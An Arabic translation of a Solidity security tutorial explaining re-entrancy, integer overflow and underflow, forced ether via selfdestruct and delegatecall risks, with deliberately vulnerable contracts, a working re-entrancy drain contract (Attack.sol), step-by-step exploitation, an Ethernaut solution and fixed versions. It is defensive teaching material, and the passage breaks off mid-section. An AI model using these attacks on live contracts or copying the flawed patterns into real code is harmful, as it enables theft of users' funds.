
Solidity Security
تهدف هذه التدوينة إلى أن تكون مقدمة شاملة وحديثة نسبيًا، وتفصّل الأخطاء السابقة التي ارتكبها مطورو Solidity في محاولة لمنع المطورين المستقبليين من تكرار التاريخ.
من ميزات العقود الذكية في إيثيريوم القدرة على استدعاء واستخدام كود عقود خارجية أخرى. كما تتعامل العقود عادةً مع الإيثر، ولهذا غالبًا ما ترسل الإيثر إلى عناوين مستخدمين خارجية متنوعة. تتطلب عملية استدعاء العقود الخارجية، أو إرسال الإيثر إلى عنوان ما، أن يقدّم العقد استدعاءً خارجيًا. ويمكن للمهاجمين اختطاف هذه الاستدعاءات الخارجية، حيث يُجبرون العقد على تنفيذ كود إضافي (أي عبر دالة fallback)، بما في ذلك استدعاءات تعود إلى العقد نفسه. وبذلك يعيد الدخول تنفيذ الكود إلى العقد. استُخدمت هجمات من هذا النوع في اختراق DAO سيئ السمعة.
لمزيد من القراءة حول هجمات إعادة الدخول، انظر هجوم إعادة الدخول على العقود الذكية وConsensus - أفضل ممارسات العقود الذكية في إيثيريوم.
يمكن أن يحدث هذا الهجوم عندما يرسل عقد ما إيثرًا إلى عنوان غير معروف. يمكن للمهاجم بناء عقد بعناية على عنوان خارجي يحتوي على كود خبيث في دالة fallback. وبالتالي، عندما يرسل العقد إيثرًا إلى هذا العنوان، سيتم استدعاء الكود الخبيث. عادةً ما ينفّذ الكود الخبيث دالةً على العقد الضعيف، ويقوم بعمليات لا يتوقعها المطور. يأتي اسم "re-entrancy" من حقيقة أن العقد الخارجي الخبيث يستدعي دالة على العقد الضعيف ويعيد الدخول إلى تنفيذ الكود في موقع عشوائي على العقد الضعيف.
لتوضيح ذلك، فكّر في العقد الضعيف البسيط، الذي يعمل كخزنة إيثيريوم تسمح للمودعين بسحب إيثر واحد فقط في الأسبوع.
EtherStore.sol:```solidity contract EtherStore {
uint256 public withdrawalLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;
function depositFunds() public payable {
balances[msg.sender] += msg.value;
}
function withdrawFunds (uint256 _weiToWithdraw) public {
require(balances[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
require(_weiToWithdraw <= withdrawalLimit);
// limit the time allowed to withdraw
require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
require(msg.sender.call.value(_weiToWithdraw)());
balances[msg.sender] -= _weiToWithdraw;
lastWithdrawTime[msg.sender] = now;
}
}
هذا العقد يحتوي على دالتين عامتين: `depositFunds()` و `withdrawFunds()`. الدالة `depositFunds()` ببساطة تزيد أرصدة المُرسِلين. أما الدالة `withdrawFunds()` فتتيح للمُرسِل تحديد مقدار الـ wei الذي يريد سحبه. ولن تنجح إلا إذا كان المبلغ المطلوب سحبه أقل من 1 إيثر ولم يحدث أي سحب خلال الأسبوع الماضي. أم أنها كذلك؟...
تكمن الثغرة في السطر \[17\] حيث نرسل إلى المستخدم المبلغ المطلوب من الإيثر. لنفترض أن مهاجمًا خبيثًا ينشئ العقد التالي،
Attack.sol:```solidity
import "EtherStore.sol";
contract Attack {
EtherStore public etherStore;
// initialise the etherStore variable with the contract address
constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}
function pwnEtherStore() public payable {
// attack to the nearest ether
require(msg.value >= 1 ether);
// send eth to the depositFunds() function
etherStore.depositFunds.value(1 ether)();
// start the magic
etherStore.withdrawFunds(1 ether);
}
function collectEther() public {
msg.sender.transfer(this.balance);
}
// fallback function - where the magic happens
function () payable {
if (etherStore.balance > 1 ether) {
etherStore.withdrawFunds(1 ether);
}
}
}
لنرَ كيف يمكن لهذا العقد الخبيث استغلال عقد EtherStore الخاص بنا. سيقوم المهاجم بإنشاء العقد أعلاه (لنفترض على العنوان 0x0...123) مع عنوان عقد EtherStore كمعامل للمُنشئ. سيؤدي ذلك إلى تهيئة المتغير العام etherStore وجعله يشير إلى العقد الذي نرغب في مهاجمته.
بعد ذلك، سوف يستدعي المهاجم الدالة pwnEtherStore() مع مقدار من الإيثر (أكبر من أو يساوي 1)، ولنقل 1 ether في هذا المثال. نفترض في هذا المثال أن عددًا من المستخدمين الآخرين أودعوا إيثرًا في هذا العقد، بحيث يكون رصيده الحالي 10 ether. عندها سيحدث ما يلي:
Attack.sol - السطر [15] - سيتم استدعاء الدالة depositFunds() في عقد EtherStore بقيمة msg.value مقدارها 1 ether (والكثير من الغاز). وسيكون المرسل (msg.sender) هو عقدنا الخبيث (0x0...123). وبالتالي، balances[0x0..123] = 1 ether.
Attack.sol - السطر [17] - بعد ذلك، سيستدعي العقد الخبيث الدالة withdrawFunds() في عقد EtherStore مع معامل بقيمة 1 ether. سيلبي هذا جميع المتطلبات (الأسطر [12]-[16] من عقد EtherStore) لأننا لم نقم بأي عمليات سحب سابقة.
EtherStore.sol - السطر [17] - سيقوم العقد بعد ذلك بإرسال 1 ether مرة أخرى إلى العقد الخبيث.
Attack.sol - السطر [25] - سيؤدي الإيثر المُرسَل إلى العقد الخبيث بعد ذلك إلى تنفيذ الدالة الاحتياطية.
Attack.sol - السطر [26] - كان الرصيد الإجمالي لعقد EtherStore هو وأصبح الآن ، لذا تتحقق هذه العبارة الشرطية.
النتيجة النهائية هي أن المهاجم سحب كل الإيثر (باستثناء 1) من عقد EtherStore، بشكل فوري وبمعاملة واحدة.
هناك عدد من التقنيات الشائعة التي تساعد في تجنب ثغرات إعادة الدخول المحتملة في العقود الذكية. الأولى هي استخدام الدالة المدمجة transfer() (متى أمكن) عند إرسال الإيثر إلى عقود خارجية. ترسل دالة transfer فقط 2300 gas مع الاستدعاء الخارجي، وهو لا يكفي للعنوان/العقد الوجهة لاستدعاء عقد آخر (أي إعادة الدخول إلى العقد المُرسِل).
التقنية الثانية هي ضمان أن كل المنطق الذي يغيّر متغيرات الحالة يحدث قبل إرسال الإيثر خارج العقد (أو قبل أي استدعاء خارجي). في مثال EtherStore، يجب وضع السطرين [18] و[19] من EtherStore.sol قبل السطر [17]. من الممارسات الجيدة وضع أي كود يقوم باستدعاءات خارجية لعناوين غير معروفة كآخر عملية في دالة موضعية أو جزء من تنفيذ الكود. يُعرف هذا باسم نمط checks-effects-interactions.
التقنية الثالثة هي إدخال كائن مزامنة (mutex). أي إضافة متغير حالة يقفل العقد أثناء تنفيذ الكود، مما يمنع استدعاءات إعادة الدخول.
إن تطبيق جميع هذه التقنيات (ليست جميعها ضرورية، لكن التطبيق تم لأغراض توضيحية) على EtherStore.sol ينتج عنه العقد الخالي من إعادة الدخول:```solidity
contract EtherStore {
// initialise the mutex
bool reEntrancyMutex = false;
uint256 public withdrawalLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;
function depositFunds() public payable {
balances[msg.sender] += msg.value;
}
function withdrawFunds (uint256 _weiToWithdraw) public {
require(!reEntrancyMutex);
require(balances[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
require(_weiToWithdraw <= withdrawalLimit);
// limit the time allowed to withdraw
require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
balances[msg.sender] -= _weiToWithdraw;
lastWithdrawTime[msg.sender] = now;
// set the reEntrancy mutex before the external call
reEntrancyMutex = true;
msg.sender.transfer(_weiToWithdraw);
// release the mutex after the external call
reEntrancyMutex = false;
}
}
<h3 id="re-example">مثال من العالم الحقيقي: The DAO</h3>
[The DAO](https://en.wikipedia.org/wiki/The_DAO_(organization)) (منظمة لامركزية مستقلة) كانت واحدة من أكبر الاختراقات التي حدثت في بداية تطوير إيثريوم. في ذلك الوقت، كان العقد يحتوي على أكثر من 150 مليون دولار أمريكي. لعبت إعادة الدخول (Re-entrancy) دورًا رئيسيًا في الهجوم الذي أدى في النهاية إلى الانقسام الصلب (hard-fork) الذي أنشأ إيثريوم كلاسيك (ETC). للحصول على تحليل جيد لاستغلال DAO، انظر [منشور Phil Daian](http://hackingdistributed.com/2016/06/18/analysis-of-the-dao-exploit/).
<h2 id="ouflow"><span id="SP-2">2. الفيض/النقصان الحسابي</span></h2>
تحدد الآلة الافتراضية للإيثيريوم (EVM) أنواع بيانات ذات أحجام ثابتة للأعداد الصحيحة. هذا يعني أن متغير العدد الصحيح لديه فقط نطاق معين من الأرقام يمكنه تمثيلها. على سبيل المثال، يمكن أن يخزن `uint8` أرقامًا فقط في النطاق \[0,255\]. محاولة تخزين `256` في `uint8` ستؤدي إلى `0`. إذا لم يتم الحذر، يمكن استغلال المتغيرات في Solidity عندما يكون إدخال المستخدم غير محقّق وتُجرى عمليات حسابية تنتج أرقامًا تقع خارج نطاق نوع البيانات الذي يخزنها.
لمزيد من القراءة حول الفيض/النقصان الحسابي، انظر [كيف تؤمّن عقودك الذكية](https://medium.com/loom-network/how-to-secure-your-smart-contracts-6-solidity-vulnerabilities-and-how-to-avoid-them-part-1-c33048d4d17d)، [أفضل الممارسات للعقود الذكية على إيثيريوم](https://consensys.github.io/smart-contract-best-practices/known_attacks/#integer-overflow-and-underflow) و[إيثيريوم وسوليديتي وفيض الأعداد الصحيحة: برمجة سلاسل الكتل مثل 1970](https://randomoracle.wordpress.com/2018/04/27/ethereum-solidity-and-integer-overflows-programming-blockchains-like-1970/)
<h3 id="ou-vuln">الثغرة</h3>
يحدث الفيض/النقصان عندما يتم تنفيذ عملية تتطلب متغيرًا بحجم ثابت لتخزين رقم (أو جزء من البيانات) يقع خارج نطاق نوع بيانات المتغير.
على سبيل المثال، طرح `1` من متغير `uint8` (عدد صحيح غير موقّع من 8 بتات، أي موجب فقط) يخزّن `0` كقيمة له، سينتج الرقم `255`. هذا هو النقصان (underflow). لقد خصصنا رقمًا أقل من نطاق `uint8`، والنتيجة *تلتف حول* وتعطي أكبر رقم يمكن أن يخزنه `uint8`. وبالمثل، إضافة `2^8=256` إلى `uint8` ستترك المتغير دون تغيير لأننا التففنا حول كامل طول `uint` (لعلماء الرياضيات، هذا مشابه لإضافة $2\pi$ إلى زاوية دالة مثلثية، $\sin(x) = \sin(x+2\pi)$). إضافة أرقام أكبر من نطاق نوع البيانات يسمى فيضًا (overflow). للتوضيح، إضافة `257` إلى `uint8` الذي قيمته حاليًا صفر ستؤدي إلى الرقم `1`. من المفيد أحيانًا التفكير في متغيرات الأنواع الثابتة على أنها دورية، حيث نبدأ من الصفر مرة أخرى إذا أضفنا أرقامًا أكبر من أكبر رقم ممكن تخزينه، والعكس بالنسبة للصفر (حيث نبدأ العد تنازليًا من أكبر رقم كلما طرحنا من 0).
هذه الأنواع من المحاذير الرقمية تسمح للمهاجمين بإساءة استخدام الكود وإنشاء تدفقات منطقية غير متوقعة. على سبيل المثال، تأمل العقد الزمني أدناه.
TimeLock.sol:```solidity
contract TimeLock {
mapping(address => uint) public balances;
mapping(address => uint) public lockTime;
function deposit() public payable {
balances[msg.sender] += msg.value;
lockTime[msg.sender] = now + 1 weeks;
}
function increaseLockTime(uint _secondsToIncrease) public {
lockTime[msg.sender] += _secondsToIncrease;
}
function withdraw() public {
require(balances[msg.sender] > 0);
require(now > lockTime[msg.sender]);
uint transferValue = balances[msg.sender];
balances[msg.sender] = 0;
msg.sender.transfer(transferValue);
}
}
هذا العقد مصمم ليعمل كخزنة زمنية، حيث يمكن للمستخدمين إيداع ether في العقد وسيُحبس هناك لمدة أسبوع على الأقل. يمكن للمستخدم تمديد فترة الانتظار إلى أكثر من أسبوع إذا اختار ذلك، ولكن بمجرد الإيداع، يمكن للمستخدم أن يكون متأكدًا من أن الـ ether الخاص به محبوس بأمان لمدة أسبوع على الأقل. أم يمكنهم؟...
في حالة إجبار المستخدم على تسليم مفتاحه الخاص (فكر في موقف رهائن)، قد يكون عقد كهذا مفيدًا لضمان عدم إمكانية الحصول على ether في فترات زمنية قصيرة. إذا كان المستخدم قد حبس 100 ether في هذا العقد وسلّم مفاتيحه إلى مهاجم، فيمكن للمهاجم استخدام تجاوز السعة للحصول على الـ ether، بغض النظر عن lockTime.
يمكن للمهاجم تحديد lockTime الحالي للعنوان الذي يملكون مفتاحه الآن (وهو متغير عام). دعونا نسمي هذا userLockTime. يمكنهم بعد ذلك استدعاء دالة increaseLockTime وتمرير الرقم 2^256 - userLockTime كوسيط. سيُضاف هذا الرقم إلى userLockTime الحالي ويسبب تجاوز سعة، مما يعيد تعيين lockTime[msg.sender] إلى 0. يمكن للمهاجم بعد ذلك ببساطة استدعاء دالة withdraw للحصول على المكافأة.
دعونا ننظر إلى مثال آخر، هذا المثال من تحديات Ethernaut.
تنبيه حرق: إذا لم تكن قد أنجزت تحديات Ethernaut بعد، فهذا يقدم حلًا لأحد المستويات.```solidity pragma solidity ^0.4.18;
contract Token {
mapping(address => uint) balances; uint public totalSupply;
function Token(uint _initialSupply) { balances[msg.sender] = totalSupply = _initialSupply; }
function transfer(address _to, uint _value) public returns (bool) { require(balances[msg.sender] - _value >= 0); balances[msg.sender] -= _value; balances[_to] += _value; return true; }
function balanceOf(address _owner) public constant returns (uint balance) { return balances[_owner]; } }
هذا عقد رمز بسيط يستخدم دالة `transfer()`، مما يسمح للمشاركين بتحويل رموزهم. هل يمكنك رؤية الخطأ في هذا العقد؟
الخلل يقع في دالة `transfer()`. يمكن تجاوز عبارة `require` في السطر \[13\] باستخدام التدفق السفلي (underflow). افترض مستخدمًا ليس لديه رصيد. يمكنه استدعاء دالة `transfer()` بأي قيمة `_value` غير صفرية واجتياز عبارة `require` في السطر \[13\]. وذلك لأن `balances[msg.sender]` تساوي صفرًا (وهي من نوع `uint256`)، لذا فإن طرح أي مبلغ موجب (باستثناء `2^256`) سيؤدي إلى رقم موجب بسبب التدفق السفلي الذي وصفناه أعلاه. وينطبق هذا أيضًا على السطر \[14\]، حيث سيُضاف رصيدنا برقم موجب. وهكذا، في هذا المثال، حصلنا على رموز مجانية بسبب ثغرة التدفق السفلي.
<h3 id="ou-prevention">تقنيات الوقاية</h3>
التقنية التقليدية (حاليًا) للحماية من ثغرات التدفق السفلي/العلوي (under/overflow) هي استخدام أو بناء مكتبات رياضية تحل محل عوامل التشغيل الرياضية القياسية؛ الجمع والطرح والضرب (القسمة مستثناة لأنها لا تسبب تدفقًا سفليًا/علويًا، كما أن EVM يرجع على القسمة على 0).
لقد قام [OppenZepplin](https://github.com/OpenZeppelin/zeppelin-solidity) بعمل رائع في بناء وتدقيق مكتبات آمنة يمكن لمجتمع الإيثيريوم الاستفادة منها. وعلى وجه الخصوص، تُعد [مكتبة Safe Math](https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol) مرجعًا أو مكتبة يُنصح باستخدامها لتجنب ثغرات التدفق السفلي/العلوي.
لتوضيح كيفية استخدام هذه المكتبات في Solidity، دعونا نصحح عقد `TimeLock` باستخدام مكتبة `SafeMath` من Open Zepplin. سيصبح العقد الخالي من التدفق العلوي كما يلي:```solidity
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract TimeLock {
using SafeMath for uint; // use the library for uint type
mapping(address => uint256) public balances;
mapping(address => uint256) public lockTime;
function deposit() public payable {
balances[msg.sender] = balances[msg.sender].add(msg.value);
lockTime[msg.sender] = now.add(1 weeks);
}
function increaseLockTime(uint256 _secondsToIncrease) public {
lockTime[msg.sender] = lockTime[msg.sender].add(_secondsToIncrease);
}
function withdraw() public {
require(balances[msg.sender] > 0);
require(now > lockTime[msg.sender]);
uint transferValue = balances[msg.sender];
balances[msg.sender] = 0;
msg.sender.transfer(transferValue);
}
}
لاحظ أنه تم استبدال جميع العمليات الحسابية القياسية بتلك المعرّفة في مكتبة SafeMath. لم يعد عقد TimeLock ينفّذ أي عملية يمكن أن تسبب تجاوزًا سفليًا أو علويًا (under/overflow).
قررت مجموعة من موقع 4chan أنها فكرة رائعة أن تبني مخطط بونزي على إيثريوم، مكتوبًا بلغة Solidity. أطلقوا عليه اسم Proof of Weak Hands Coin (PoWHC). لسوء الحظ، يبدو أن مؤلفي العقد لم يروا التجاوزات السفلية/العلوية من قبل، ونتيجة لذلك، تم تحرير 866 إيثر من عقده. يوجد نظرة عامة جيدة حول كيفية حدوث التجاوز السفلي (وهي ليست مختلفة كثيرًا عن تحدي Ethernaut أعلاه) في منشور Eric Banisadar.
بعض المطورين أيضًا نفّذوا دالة batchTransfer() في بعض عقود توكنات ERC20. كان التنفيذ يحتوي على تجاوز علوي. هذا المنشور يشرح ذلك، لكنني أعتقد أن العنوان مضلل، إذ لا علاقة له بمعيار ERC20، بل إن بعض عقود رموز ERC20 تحتوي على دالة batchTransfer() ضعيفة.
عادةً عندما يتم إرسال الإيثر إلى عقد، يجب تنفيذ إما دالة fallback أو دالة أخرى موصوفة في العقد. هناك استثناءان لهذه القاعدة، حيث يمكن أن يوجد الإيثر في عقد دون تنفيذ أي كود. العقود التي تعتمد على تنفيذ الكود لكل إيثر يُرسل إليها يمكن أن تكون عرضة للهجمات التي يُرسل فيها الإيثر إلى العقد قسريًا.
لمزيد من القراءة حول هذا الموضوع، انظر كيف تؤمّن عقودك الذكية: 6 و أنماط أمان Solidity - إجبار الإيثر على الانتقال إلى عقد .
تقنية برمجة دفاعية شائعة مفيدة في فرض انتقالات الحالة الصحيحة أو التحقق من العمليات هي التحقق من الثوابت. تتضمن هذه التقنية تعريف مجموعة من الثوابت (مقاييس أو معلمات لا ينبغي أن تتغير) والتحقق من بقاء هذه الثوابت دون تغيير بعد عملية (أو عمليات) واحدة (أو عدة عمليات). هذا عادةً تصميم جيد، بشرط أن تكون الثوابت التي يتم التحقق منها ثوابت فعلًا. أحد أمثلة الثابت هو totalSupply لتوكن ERC20 ذي إصدار ثابت. نظرًا لأن أي دالة يجب ألا تعدّل هذا الثابت، يمكن إضافة فحص إلى دالة transfer() يضمن بقاء totalSupply دون تغيير للتأكد من أن الدالة تعمل كما هو متوقع.
على وجه الخصوص، هناك ثابت ظاهري قد يكون من المغري استخدامه
لكنه في الواقع يمكن التلاعب به من قبل مستخدمين خارجيين (بغض النظر عن القواعد
الموضوعة في العقد الذكي) .هذا هو الإيثر الحالي المخزّن في
العقد. غالبًا عندما يتعلم المطورون Solidity لأول مرة تكون لديهم
الفكرة الخاطئة بأن العقد لا يمكنه قبول أو الحصول على الإيثر إلا عبر دوال
payable. هذه الفكرة الخاطئة يمكن أن تؤدي إلى عقود لديها
افتراضات خاطئة حول رصيد الإيثر بداخلها مما قد يؤدي إلى مجموعة من
الثغرات. الدليل القاطع على هذه الثغرة هو الاستخدام (غير الصحيح)
لـ this.balance. كما سنرى، الاستخدامات غير الصحيحة لـ this.balance يمكن أن تؤدي إلى
ثغرات خطيرة من هذا النوع.
هناك طريقتان يمكن من خلالهما إرسال الإيثر (قسريًا) إلى العقد دون استخدام دالة payable أو تنفيذ أي كود على العقد. وهما مدرجتان أدناه.
أي عقد قادر على تنفيذ دالة selfdestruct(address)، والتي تزيل جميع البايت كود من عنوان العقد وترسل كل الإيثر المخزّن هناك إلى العنوان المحدد في المعامل. إذا كان هذا العنوان المحدد هو أيضًا عقدًا، فلن يتم استدعاء أي دوال (بما في ذلك fallback). لذلك، يمكن استخدام دالة selfdestruct() لإرسال الإيثر قسريًا إلى أي عقد بغض النظر عن أي كود قد يوجد في العقد. وهذا يشمل العقود التي لا تحتوي على أي دوال payable. هذا يعني أن أي مهاجم يمكنه إنشاء عقد يحتوي على دالة selfdestruct()، وإرسال الإيثر إليه، واستدعاء selfdestruct(target) وإجبار الإيثر على الإرسال إلى عقد target. لدى Martin Swende منشور مدونة ممتاز يصف بعض الخصائص الغريبة لـ opcode التدمير الذاتي (Quirk #2) بالإضافة إلى وصف لكيفية قيام عُقد العملاء بفحص ثوابت غير صحيحة مما كان قد يؤدي إلى تدمير كارثي للعملاء.
الطريقة الثانية التي يمكن للعقد من خلالها الحصول على الإيثر دون استخدام دالة selfdestruct() أو استدعاء أي دوال payable هي تحميل عنوان العقد مسبقًا بالإيثر. عناوين العقود حتمية، في الواقع يُحسب العنوان من تجزئة keccak256 (تُعرف أحيانًا بـ SHA3) لعنوان العقد المُنشِئ و nonce المعاملة التي تنشئ العقد. تحديدًا، هو بالشكل: address = sha3(rlp.encode([account_address,transaction_nonce])) (انظر إيثر بدون مفتاح لبعض حالات الاستخدام الممتعة لهذا). وهذا يعني أن أي شخص يمكنه حساب ما سيكون عليه عنوان العقد قبل إنشائه وبالتالي إرسال إيثر إلى ذلك العنوان. عندما يتم إنشاء العقد فعليًا، سيكون لديه رصيد إيثر غير صفري.
دعنا نستكشف بعض المخاطر التي يمكن أن تنشأ بالنظر إلى المعرفة أعلاه.
تأمل العقد البسيط للغاية،
EtherGame.sol:```solidity contract EtherGame {
uint public payoutMileStone1 = 3 ether;
uint public mileStone1Reward = 2 ether;
uint public payoutMileStone2 = 5 ether;
uint public mileStone2Reward = 3 ether;
uint public finalMileStone = 10 ether;
uint public finalReward = 5 ether;
mapping(address => uint) redeemableEther;
// users pay 0.5 ether. At specific milestones, credit their accounts
function play() public payable {
require(msg.value == 0.5 ether); // each play is 0.5 ether
uint currentBalance = this.balance + msg.value;
// ensure no players after the game as finished
require(currentBalance <= finalMileStone);
// if at a milestone credit the players account
if (currentBalance == payoutMileStone1) {
redeemableEther[msg.sender] += mileStone1Reward;
}
else if (currentBalance == payoutMileStone2) {
redeemableEther[msg.sender] += mileStone2Reward;
}
else if (currentBalance == finalMileStone ) {
redeemableEther[msg.sender] += finalReward;
}
return;
}
function claimReward() public {
// ensure the game is complete
require(this.balance == finalMileStone);
// ensure there is a reward to give
require(redeemableEther[msg.sender] > 0);
uint transferValue = redeemableEther[msg.sender];
redeemableEther[msg.sender] = 0;
msg.sender.transfer(transferValue);
}
}
يمثل هذا العقد لعبة بسيطة (والتي من الطبيعي أن تستدعي [حالات السباق](#race-conditions)) حيث يرسل اللاعبون وحدات مقدارها `0.5 ether` إلى العقد على أمل أن يكونوا اللاعب الذي يصل إلى إحدى المراحل الثلاث أولاً. تُقاس المراحل بوحدة الإيثر. أول من يصل إلى المرحلة يمكنه المطالبة بجزء من الإيثر عندما تنتهي اللعبة. تنتهي اللعبة عند الوصول إلى المرحلة النهائية (`10 ether`) ويمكن للمستخدمين المطالبة بمكافآتهم.
تكمن المشكلات في عقد `EtherGame` في الاستخدام السيئ لـ `this.balance` في كل من السطرين \[14\] (وبالارتباط معه \[16\]) و\[32\]. يمكن لمهاجم خبيث إرسال كمية صغيرة من الإيثر قسرًا، لنقل `0.1 ether` عبر دالة `selfdestruct()` (التي نوقشت أعلاه) لمنع أي لاعبين مستقبليين من الوصول إلى مرحلة. نظرًا لأن جميع اللاعبين الشرعيين يمكنهم فقط إرسال زيادات مقدارها `0.5 ether`، فإن `this.balance` لن يعد أعدادًا صحيحة نصفية، لأنه سيحتوي أيضًا على مساهمة `0.1 ether`. وهذا يمنع جميع الشروط `if` في الأسطر \[18\] و\[21\] و\[24\] من أن تكون صحيحة.
والأسوأ من ذلك، أن المهاجم الحاقد الذي فاته الوصول إلى مرحلة، يمكنه إرسال `10 ether` قسرًا (أو مبلغًا مكافئًا من الإيثر يرفع رصيد العقد فوق `finalMileStone`) مما سيحبس جميع المكافآت في العقد إلى الأبد. وذلك لأن دالة `claimReward()` سترجع دائمًا خطأ، بسبب شرط `require` في السطر \[32\] (أي أن `this.balance` أكبر من `finalMileStone`).
<h3 id="ether-prevention">تقنيات الوقاية</h3>
تنشأ هذه الثغرة عادةً من إساءة استخدام `this.balance`. يجب أن يتجنب منطق العقد، كلما أمكن، الاعتماد على القيم الدقيقة لرصيد العقد لأنه يمكن التلاعب به بشكل مصطنع. إذا تم تطبيق منطق يعتمد على `this.balance`، فتأكد من مراعاة الأرصدة غير المتوقعة.
إذا كانت القيم الدقيقة للإيثر المُودَع مطلوبة، فيجب استخدام متغير معرف ذاتيًا تتم زيادته في الدوال القابلة للدفع، لتتبع الإيثر المُودَع بأمان. لن يتأثر هذا المتغير بالإيثر القسري المُرسل عبر استدعاء `selfdestruct()`.
مع أخذ ذلك في الاعتبار، قد تبدو نسخة مصححة من عقد `EtherGame` كما يلي:```solidity
contract EtherGame {
uint public payoutMileStone1 = 3 ether;
uint public mileStone1Reward = 2 ether;
uint public payoutMileStone2 = 5 ether;
uint public mileStone2Reward = 3 ether;
uint public finalMileStone = 10 ether;
uint public finalReward = 5 ether;
uint public depositedWei;
mapping (address => uint) redeemableEther;
function play() public payable {
require(msg.value == 0.5 ether);
uint currentBalance = depositedWei + msg.value;
// ensure no players after the game as finished
require(currentBalance <= finalMileStone);
if (currentBalance == payoutMileStone1) {
redeemableEther[msg.sender] += mileStone1Reward;
}
else if (currentBalance == payoutMileStone2) {
redeemableEther[msg.sender] += mileStone2Reward;
}
else if (currentBalance == finalMileStone ) {
redeemableEther[msg.sender] += finalReward;
}
depositedWei += msg.value;
return;
}
function claimReward() public {
// ensure the game is complete
require(depositedWei == finalMileStone);
// ensure there is a reward to give
require(redeemableEther[msg.sender] > 0);
uint transferValue = redeemableEther[msg.sender];
redeemableEther[msg.sender] = 0;
msg.sender.transfer(transferValue);
}
}
هنا، قمنا للتو بإنشاء متغير جديد، depositedWei والذي يتتبع الإيثر المعروف المُودَع، وهذا المتغير هو الذي ننفذ عليه متطلباتنا واختباراتنا. لاحظ أننا لم نعد نملك أي إشارة إلى this.balance.
لم أعثر بعد على مثال لهذا تم استغلاله في البرية. ومع ذلك، تم تقديم بعض الأمثلة على عقود قابلة للاستغلال في مسابقة Solidity الخادعة.
تُعد أكواد التشغيل CALL وDELEGATECALL مفيدةً في تمكين مطوري إيثريوم من تقسيم أكوادهم إلى وحدات. يتم التعامل مع استدعاءات الرسائل الخارجية القياسية للعقود بواسطة كود التشغيل CALL حيث يتم تنفيذ الكود في سياق العقد/الدالة الخارجية. كود التشغيل DELEGATECALL مطابق لاستدعاء الرسالة القياسي، باستثناء أن الكود المنفذ في العنوان المستهدف يعمل في سياق العقد المتصل، مع بقاء msg.sender وmsg.value دون تغيير. تتيح هذه الميزة تنفيذ المكتبات حيث يمكن للمطورين إنشاء كود قابل لإعادة الاستخدام لعقود مستقبلية.
على الرغم من أن الاختلافات بين هذين الكودين بسيطة وبديهية، فإن استخدام DELEGATECALL يمكن أن يؤدي إلى تنفيذ كود غير متوقع.
لمزيد من القراءة، انظر سؤال إيثريوم ستاك إكستشينج، وثائق Solidity وكيفية تأمين عقودك الذكية: 6.
أثبتت طبيعة الحفاظ على السياق في DELEGATECALL أن بناء مكتبات مخصصة خالية من الثغرات ليس بالأمر السهل كما قد يظن المرء. يمكن أن يكون الكود في المكتبات نفسها آمنًا وخاليًا من الثغرات، ومع ذلك عند تشغيله في سياق تطبيق آخر قد تنشأ ثغرات جديدة. دعنا نطلع على مثال معقد إلى حد ما لهذا، باستخدام أرقام فيبوناتشي.
ضع في اعتبارك المكتبة التالية التي يمكنها توليد متتالية فيبوناتشي والمتتاليات ذات الشكل المشابه.
FibonacciLib.sol[^1]```solidity
// library contract - calculates fibonacci-like numbers;
contract FibonacciLib {
// initializing the standard fibonacci sequence;
uint public start;
uint public calculatedFibNumber;
// modify the zeroth number in the sequence
function setStart(uint _start) public {
start = _start;
}
function setFibonacci(uint n) public {
calculatedFibNumber = fibonacci(n);
}
function fibonacci(uint n) internal returns (uint) {
if (n == 0) return start;
else if (n == 1) return start + 1;
else return fibonacci(n - 1) + fibonacci(n - 2);
}
}
توفر هذه المكتبة دالة يمكنها توليد رقم فيبوناتشي *n*-th في المتتالية. تتيح للمستخدمين تغيير رقم البداية للمتتالية (`start`) وحساب الأرقام الشبيهة بفيبوناتشي *n*-th في هذه المتتالية الجديدة.
لنفكر الآن في عقد يستخدم هذه المكتبة.
`FibonacciBalance.sol`:```solidity
contract FibonacciBalance {
address public fibonacciLibrary;
// the current fibonacci number to withdraw
uint public calculatedFibNumber;
// the starting fibonacci sequence number
uint public start = 3;
uint public withdrawalCounter;
// the fibonancci function selector
bytes4 constant fibSig = bytes4(sha3("setFibonacci(uint256)"));
// constructor - loads the contract with ether
constructor(address _fibonacciLibrary) public payable {
fibonacciLibrary = _fibonacciLibrary;
}
function withdraw() {
withdrawalCounter += 1;
// calculate the fibonacci number for the current withdrawal user
// this sets calculatedFibNumber
require(fibonacciLibrary.delegatecall(fibSig, withdrawalCounter));
msg.sender.transfer(calculatedFibNumber * 1 ether);
}
// allow users to call fibonacci library functions
function() public {
require(fibonacciLibrary.delegatecall(msg.data));
}
}
يسمح هذا العقد للمشارك بسحب إيثر من العقد، على أن تكون كمية الإيثر مساوية لرقم فيبوناتشي المطابق لترتيب سحب المشارك؛ أي أن أول مشارك يحصل على 1 إيثر، والثاني يحصل أيضًا على 1، والثالث على 2، والرابع على 3، والخامس على 5 وهكذا (حتى يصبح رصيد العقد أقل من رقم فيبوناتشي الذي يتم سحبه).
